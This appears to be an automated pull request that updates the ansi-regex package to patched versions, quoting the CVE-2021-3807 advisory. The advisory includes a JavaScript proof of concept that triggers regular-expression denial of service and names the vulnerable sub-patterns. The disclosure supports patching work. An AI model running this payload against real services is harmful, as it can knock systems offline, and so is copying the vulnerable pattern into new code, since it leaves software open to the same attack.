fields-of-arle
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Update dependency ansi-regex [SECURITY]
This PR contains the following updates:
Package | Change |
---|---|
ansi-regex | 3.0.0 -> 3.0.1 |
ansi-regex | 4.1.0 -> 4.1.1 |
ansi-regex | 5.0.0 -> 5.0.1 |
GitHub Vulnerability Alerts
CVE-2021-3807
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
The ReDOS is mainly due to the sub-patterns [[\\]()#;?]*
and (?:;[-a-zA-Z\\d\\/#&.:=?%@​~_]*)*
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